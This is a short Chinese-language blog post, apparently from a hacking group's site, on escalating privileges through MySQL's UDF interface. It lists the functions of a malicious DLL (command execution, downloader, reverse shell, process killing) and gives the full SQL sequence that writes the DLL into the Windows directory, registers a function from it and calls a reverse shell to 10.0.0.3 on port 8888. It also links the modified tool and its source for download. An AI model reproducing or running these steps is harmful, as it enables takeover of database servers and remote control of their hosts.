Mysql 利用提权.,利用MYSQL 供的 UDF接口

功能函数:

cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;

use mysql
create table udfdata(abc longblob); #类型为longblob
insert into udfdata values(load_file("c:\\udf.dll"));
select * from udfdata into dumpfile 'c:\\windows\\udf.dll';
create function backshell returns string soname 'c:\\windows\\udf.dll';
select backshell("10.0.0.3",8888);

原代码:langouster
感觉太大了.!不怎么很好用修改了一下..
Click to Download

源码
Click to Download

随机日志

发表评论

1 Comments.

  1. 下载不了啊

Leave a Reply



[ Ctrl + Enter ]

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word

CNXCT小组的博客 is Stephen Fry proof thanks to caching by WP Super Cache